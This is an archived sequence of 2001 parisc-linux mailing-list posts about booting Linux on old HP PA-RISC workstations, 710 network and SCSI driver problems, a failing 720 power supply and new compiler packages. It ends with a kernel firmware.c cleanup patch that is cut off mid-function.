Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Init not found on 735/125?
Date: Fri, 23 Mar 2001 02:50:42 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20010323105042.15272.qmail@web5502.mail.yahoo.com>
References: <20010322155704.A19315@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619972 17015 80.91.229.3 (22 Nov 2014 01:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:52 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 03:55:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web5502.mail.yahoo.com (web5502.mail.yahoo.com [216.115.106.185])
	by dsl2.external.hp.com (Postfix) with SMTP id 3CCF94A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 03:55:59 -0700 (MST)
Original-Received: from [208.42.20.18] by web5502.mail.yahoo.com; Fri, 23 Mar 2001 02:50:42 PST
In-Reply-To: <20010322155704.A19315@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10587

Downloaded and compiled sash...tried passing init=/bin/sash in the lifimage.  Still no luck...I'm
stumped.

-R
--- Richard Hirst <rhirst@linuxcare.com> wrote:
> On Thu, Mar 22, 2001 at 06:10:32AM -0800, Robert Liesenfeld wrote:
> > Mounting from another machine was among the first things I tried; I can access /sbin/init on
> the
> > nfs mount point no problem.  Looks like I do not have a copy of sash...I do have the
> > cross-compilers installed, can someone point me to the sash source?
> 
> It lives under the userspace dir in cvs on puffin.external.hp.com.
> 
> Richard
> 


__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Init not found on 735/125?
Date: Fri, 23 Mar 2001 11:53:53 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010323115353.E19779@linuxcare.com>
References: <20010322155704.A19315@linuxcare.com> <20010323105042.15272.qmail@web5502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619972 17018 80.91.229.3 (22 Nov 2014 01:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:52 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Robert Liesenfeld <xunil96@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 04:53:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 098EF4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 04:53:15 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2234DB008; Fri, 23 Mar 2001 11:53:53 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010323105042.15272.qmail@web5502.mail.yahoo.com>; from xunil96@yahoo.com on Fri, Mar 23, 2001 at 02:50:42AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:10588

On Fri, Mar 23, 2001 at 02:50:42AM -0800, Robert Liesenfeld wrote:
> Downloaded and compiled sash...tried passing init=/bin/sash in the lifimage.  Still no luck...I'm
> stumped.

Run tcpdump on the network to see what the parisc box is really trying
to access.  If you see it is reading the content of init or sash, then
you could add debug code to your kernel to see why it doesn't like
what it is reading.

Richard





From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Linux on a HP 712/60
Date: Fri, 23 Mar 2001 09:27:32 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <E14gUPU-0005i0-00@noam.fc.hp.com>
References: <3ABB5EE2.80C106C7@americasm01.nt.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619972 17022 80.91.229.3 (22 Nov 2014 01:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Cory Houston" <chouston@nortelnetworks.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 09:27:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D7994A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Mar 2001 09:27:41 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 59C86E6B; Fri, 23 Mar 2001 11:27:35 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id JAA04421;
	Fri, 23 Mar 2001 09:27:32 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14gUPU-0005i0-00; Fri, 23 Mar 2001 09:27:32 -0700
In-Reply-To: Your message of "Fri, 23 Mar 2001 09:34:10 EST."
             <3ABB5EE2.80C106C7@americasm01.nt.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10589

= Hi Paul,
= 
= I just managed to secured a HP 712/60 workstation running a custom HP-UX
= 10.20 image [...] It only has a 1 gig disk, but I was
= planning on using it as a Linux gateway at home. I have to secure a scsi
= cable to hook up a cd-rom drive before I do anything though...

We use network booting most of the time.  That plus a NFS root means
you don't really need a CD to install.  I don't know if the second LAN
card in a 712 is supported yet.

= It appears as though Linux on the hppa architecture is still in its
= infancy.  Can you fill me in if there is a stable version and any
= caveats/gotchas?

Speaking of CDs, the "0.5" CD is pretty moldy though it works OK on
a 712.  Even if you use that CD for user space, you'll want to build a
new kernel.  Instructions are on the web site, www.parisc-linux.org.
FYI the next CD will have some significant changes and we're not planning
a friendly update process, so be sure to save any of your personal
work based on 0.5CD so that you could tolerate a cold install.
I've CC-ed, and you might want to peruse the mailing list archives
and perhaps join the parisc-linux@parisc-linux.org mailing list
(instructions at the web site).

While there are still plenty of gotchas, the number is shrinking and
we can use your help finding and fixing them.  http://bugs.parisc-linux.org
is probably the best place to check for (and report) problems.  If the
second LAN card is supported, I think there's enough to make a decent
gateway already.

	-Paul Bame




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interoperability
Date: Fri, 23 Mar 2001 16:29:04 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20010323162904.G5491@parcelfarce.linux.theplanet.co.uk>
References: <200103230054.RAA24759@puffin.external.hp.com> <o051yrobxz9.fsf@debian.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619973 17026 80.91.229.3 (22 Nov 2014 01:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nicolas THOMAS <thomas@ispserv.grenoble.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 09:42:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACBF94A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 09:42:21 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14gUQy-0000tf-00; Fri, 23 Mar 2001 16:29:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <o051yrobxz9.fsf@debian.grenoble.hp.com>; from thomas@ispserv.grenoble.hp.com on Fri, Mar 23, 2001 at 11:06:50AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10590

On Fri, Mar 23, 2001 at 11:06:50AM +0100, Nicolas THOMAS wrote:
> 
> The main goal is to be able to have a back-end on one host and a front-end 
> on the other. Communication is done with the network (sockets).

Yes, all four combinations talk TCP/IP.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New compilers available
Date: Fri, 23 Mar 2001 13:19:13 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20010323201913.8693C38F00@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619973 17028 80.91.229.3 (22 Nov 2014 01:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 13:47:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CC09482A
	for <parisc-linux@parisc-linux.org>; Fri, 23 Mar 2001 13:47:45 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id DC1E35EDC; Fri, 23 Mar 2001 15:16:39 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 8693C38F00; Fri, 23 Mar 2001 13:19:13 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10591

I have updated the native compiler debs again,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010323/

- New glibc packages that fix pthreads. You can now safely use the nscd 
package and other pthreads apps.
- New gcc packages that fix a problem when compiling a libperl shared perl.
- binutils are the same as 20010321

You don't have to grab them unless you're seeing these problems, but it 
wouldn't hurt either.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HELP HELP - my power supply of the 720 !!
Date: Sat, 24 Mar 2001 02:26:49 +0100
Organization: private
Lines: 35
Approved: news@gmane.org
Message-ID: <3ABBF7D9.1645DDF3@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619973 17031 80.91.229.3 (22 Nov 2014 01:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org, alan_meyer@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 18:27:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5C69482A
	for <parisc-linux@parisc-linux.org>; Fri, 23 Mar 2001 18:27:00 -0700 (MST)
Original-Received: from dot.at ([62.178.92.247]) by viemta05.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010324012650.FAEY24343.viemta05@dot.at>;
          Sat, 24 Mar 2001 02:26:50 +0100
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10592

HELP !

I have a problem with my power supply on the HP 720 work station.
Ok thats off topic, but I need help !

Since a week I have trouble with my 720. When I switch it on,
the LEDs flashes up for a part of a second (ca. 100-200ms), and then
it's dead again. The power supply cannot hold up the power.

After switch off the machine (or unplugging from main supply), it can
start in normal manner. Another day, it has the trouble again.

I debugged the machine inside with multimeter, isolated circutis
(removed CPU and I/O cards, etc) and analysed some points.

The problem is definitely the power supply, not another part in the
Apollo 720. 

As there a hardware docu of this power supply ? .. to have a chance to
repair it ?
Is there anybody who can help me with a cheap (very cheap) replacement
of a power supply ?

Please contact me in this subject !!

Cheers 
	Christoph P.


-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Stewart" <pdksh@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help with 710 Network Driver
Date: Sat, 24 Mar 2001 08:58:11 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <OE60stPGtPrPrvCWO6h00005419@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619973 17035 80.91.229.3 (22 Nov 2014 01:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:53 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 24 06:59:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe60.law14.hotmail.com [64.4.20.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4585E482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Mar 2001 06:59:28 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 24 Mar 2001 05:59:21 -0800
X-Originating-IP: [64.229.18.241]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 24 Mar 2001 13:59:21.0910 (UTC) FILETIME=[A086DD60:01C0B46A]
Xref: news.gmane.org gmane.linux.ports.parisc:10593

I am interested in trying to resolve some of the problems with the 710 with
its LAN and SCSI problems. I am not a Programming GURU but the re-write of
the LAN driver should not be too far beyond my abilities. I would appreciate
anyone's observations and details regarding the failure of the LAN drivers
on a 710 or 705.

My observations;
1) You can not compile the kernel (finial link fails) without
GSC/PCI/EISA/WAX support
  - 710/705 do not have any of the above features.
2) The LAN driver ./drivers/net/lasi_89586.c has links to ./asm/gsc.h
  - again there is no lasi or gsc support in the 710/705
3) The driver loads but has a message about "blindly" reading the PROM MAC
  - This does not appear to be "ideal" in the mind of the driver
4) The driver does not initialise its memory properly - message is posted at
boot
  - This again does not appear to be "ideal" in the mind of the driver
5) The Lan driver is actually working - sending TX during a BOOTP request
  - It is IMHO trying to talk to a "LASI" or "GSC" controller that does not
exist
    This sorta explains why it appears as if the wires were cut of the LAN
chip

I believe that if the LAN driver is corrected it would be a small jump to
address the broken SCSI driver. I have some logs of the failures but I am at
work right now and to make matters worse I will be on a business trip next
week, access to my mail but not my HP or logs.

If anyone is interested please let me know, This box is too much fun to
spend its time wasting away with mklinux installed.

Thank You

*************************************************
Brian Stewart
pdksh@hotmail.NO.SPAM.com
http://www3.sympatico.ca/trillian
*************************************************




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with 710 Network Driver
Date: Sat, 24 Mar 2001 21:54:25 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <20010324215424.E20902@linuxcare.com>
References: <OE60stPGtPrPrvCWO6h00005419@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619974 17038 80.91.229.3 (22 Nov 2014 01:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Brian Stewart <pdksh@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 24 14:53:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 552D9482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Mar 2001 14:53:55 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2E411B008; Sat, 24 Mar 2001 21:54:25 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <OE60stPGtPrPrvCWO6h00005419@hotmail.com>; from pdksh@hotmail.com on Sat, Mar 24, 2001 at 08:58:11AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:10594

Hi,
  I have looked at this a bit (remotely, I don't have a 710), and my
conclusion is that both scsi and lan drivers are talking to the
chips just fine.  The problem seems to be that the drivers never
receive interrupts from the chips, which probably means that the
interrupt routing needs setting up differently on these old machines.
Unfortunately I don't have access to any relevant documentation.

Richard


On Sat, Mar 24, 2001 at 08:58:11AM -0500, Brian Stewart wrote:
> I am interested in trying to resolve some of the problems with the 710 with
> its LAN and SCSI problems. I am not a Programming GURU but the re-write of
> the LAN driver should not be too far beyond my abilities. I would appreciate
> anyone's observations and details regarding the failure of the LAN drivers
> on a 710 or 705.
> 
> My observations;
> 1) You can not compile the kernel (finial link fails) without
> GSC/PCI/EISA/WAX support
>   - 710/705 do not have any of the above features.
> 2) The LAN driver ./drivers/net/lasi_89586.c has links to ./asm/gsc.h
>   - again there is no lasi or gsc support in the 710/705
> 3) The driver loads but has a message about "blindly" reading the PROM MAC
>   - This does not appear to be "ideal" in the mind of the driver
> 4) The driver does not initialise its memory properly - message is posted at
> boot
>   - This again does not appear to be "ideal" in the mind of the driver
> 5) The Lan driver is actually working - sending TX during a BOOTP request
>   - It is IMHO trying to talk to a "LASI" or "GSC" controller that does not
> exist
>     This sorta explains why it appears as if the wires were cut of the LAN
> chip
> 
> I believe that if the LAN driver is corrected it would be a small jump to
> address the broken SCSI driver. I have some logs of the failures but I am at
> work right now and to make matters worse I will be on a business trip next
> week, access to my mail but not my HP or logs.
> 
> If anyone is interested please let me know, This box is too much fun to
> spend its time wasting away with mklinux installed.
> 
> Thank You
> 
> *************************************************
> Brian Stewart
> pdksh@hotmail.NO.SPAM.com
> http://www3.sympatico.ca/trillian
> *************************************************
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with 710 Network Driver
Date: Sat, 24 Mar 2001 22:01:19 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20010324220119.A31126@parcelfarce.linux.theplanet.co.uk>
References: <OE60stPGtPrPrvCWO6h00005419@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619974 17040 80.91.229.3 (22 Nov 2014 01:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Brian Stewart <pdksh@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 24 15:01:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39AF5482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Mar 2001 15:01:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14gw63-0008MI-00; Sat, 24 Mar 2001 22:01:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OE60stPGtPrPrvCWO6h00005419@hotmail.com>; from pdksh@hotmail.com on Sat, Mar 24, 2001 at 08:58:11AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10595

On Sat, Mar 24, 2001 at 08:58:11AM -0500, Brian Stewart wrote:
> I am interested in trying to resolve some of the problems with the 710 with
> its LAN and SCSI problems. I am not a Programming GURU but the re-write of
> the LAN driver should not be too far beyond my abilities. I would appreciate
> anyone's observations and details regarding the failure of the LAN drivers
> on a 710 or 705.
> 
> My observations;
> 1) You can not compile the kernel (finial link fails) without
> GSC/PCI/EISA/WAX support
>   - 710/705 do not have any of the above features.

The `GSC' support is really a misnomer.  It's really a `raw read/write
to PA I/O space'.  It's used on boxes which predate and postdate GSC.
I have some changes planned which will address this misnomer, but I
haven't had a chance to do them yet.

> 4) The driver does not initialise its memory properly - message is posted at
> boot
>   - This again does not appear to be "ideal" in the mind of the driver

The driver is attempting to obtain cache-coherent memory.  This is not
available on machines prior to PCX-L (eg 705, 710, 715/Scorpio, 730,
735, etc).  So it drops back to using non-coherent memory and causing
cache flushes before writes and after reads.

> I believe that if the LAN driver is corrected it would be a small jump to
> address the broken SCSI driver. I have some logs of the failures but I am at
> work right now and to make matters worse I will be on a business trip next
> week, access to my mail but not my HP or logs.
> 
> If anyone is interested please let me know, This box is too much fun to
> spend its time wasting away with mklinux installed.

Richard (who is the original author of both these drivers) believes that
the problem is with the IRQ handling from the Asp chip.  Unfortunately
I've been unable to locate documentation for this device as yet.

Thanks for volunteering.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Additional PDC cleanups
Date: Sat, 24 Mar 2001 15:44:19 -0700
Lines: 310
Approved: news@gmane.org
Message-ID: <20010324154419.A18097@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619974 17043 80.91.229.3 (22 Nov 2014 01:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 24 22:38:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id 20467482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Mar 2001 22:38:59 -0700 (MST)
Original-Received: (qmail 48336 invoked by alias); 24 Mar 2001 22:44:38 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 47815 invoked by uid 0); 24 Mar 2001 22:44:29 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 24 Mar 2001 22:44:29 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14gwlf-0004i2-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Mar 2001 15:44:19 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
Xref: news.gmane.org gmane.linux.ports.parisc:10596

Here is a patch that makes the real*_calls in firmware.c static.  This works with
the defconfig for but will not work when the STI console is enabled.  I am posting
the patch here for review, and also suggestions on how to organize the STI calls
so we can encapsulate the real*_calls in firmware.c


The problem with the STI code is this #define in the drivers/video/sti/sticore.h

#define STI_CALL(func, flags, inptr, outptr, glob_cfg) \
	({	 						\
		real32_call( func, (unsigned long)STI_PTR(flags), \
				    STI_PTR(inptr), STI_PTR(outptr), \
				    glob_cfg); \
	})


My first thoughts were to make the STI_CALL function look like this:

#define STI_CALL(func, flags, inptr, outptr, glob_cfg) \
	({	 						\
		pdc_sti_call( func, (unsigned long)STI_PTR(flags), \
				    STI_PTR(inptr), STI_PTR(outptr), \
				    glob_cfg); \
	})

and define the pdc_sti_call in firmware.c.  Anyone have a different
approach that would make more sense? 


Thanks,

- Ryan


===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/firmware.c,v
retrieving revision 1.25
diff -u -p -r1.25 firmware.c
--- firmware.c	2001/03/22 06:46:32	1.25
+++ firmware.c	2001/03/24 22:17:36
@@ -334,6 +334,82 @@ int pdc_mem_mem_table(void *r_addr, void
 }
 #endif
 
+/* FIXME: Is this pdc used?  I could not find type reference to ftc_bitmap
+ * so I guessed at unsigned long.  Someone who knows what this does, can fix 
+ * it later. :)
+ */
+int pdc_do_firm_test_reset(unsigned long ftc_bitmap)
+{
+	return mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_FIRM_TEST_RESET,
+			    PDC_FIRM_TEST_MAGIC, ftc_bitmap);
+}
+
+int pdc_do_reset()
+{
+	return mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_RESET);
+}
+
+/*
+ * pdc_putc:
+ * Console character print using IODC.
+ *
+ * Note that only these special chars are architected for console IODC io:
+ * BEL, BS, CR, and LF. Others are passed through.
+ * Since the HP console requires CR+LF to perform a 'newline', we translate
+ * "\n" to "\r\n".
+ */
+
+void pdc_iodc_putc(unsigned char c)
+{
+	/* XXX Should we spinlock posx usage */
+	static int posx;	/* for simple TAB-Simulation... */
+	static int __attribute__((aligned(8)))   iodc_retbuf[32];
+	static char __attribute__((aligned(64))) iodc_dbuf[4096];
+	unsigned int n;
+
+	switch (c) {
+	case '\n':
+		iodc_dbuf[0] = '\r'; 
+		iodc_dbuf[1] = '\n';
+               	n = 2;
+               	posx = 0;
+		break;
+	case '\t':
+		pdc_putc(' ');
+		while (posx & 7) 	/* expand TAB */
+			pdc_putc(' ');
+		return;		/* return since IODC can't handle this */
+	case '\b':
+		posx-=2;		/* BS */
+	default:
+		iodc_dbuf[0] = c;
+		n = 1;
+		posx++;
+		break;
+	}
+
+	real32_call(PAGE0->mem_cons.iodc_io,
+		    (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
+		    PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
+		    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
+}
+
+int pdc_iodc_getc(unsigned char *c)
+{
+	unsigned long flags;
+	static int __attribute__((aligned(8)))   iodc_retbuf[32];
+	static char __attribute__((aligned(64))) iodc_dbuf[4096];
+	
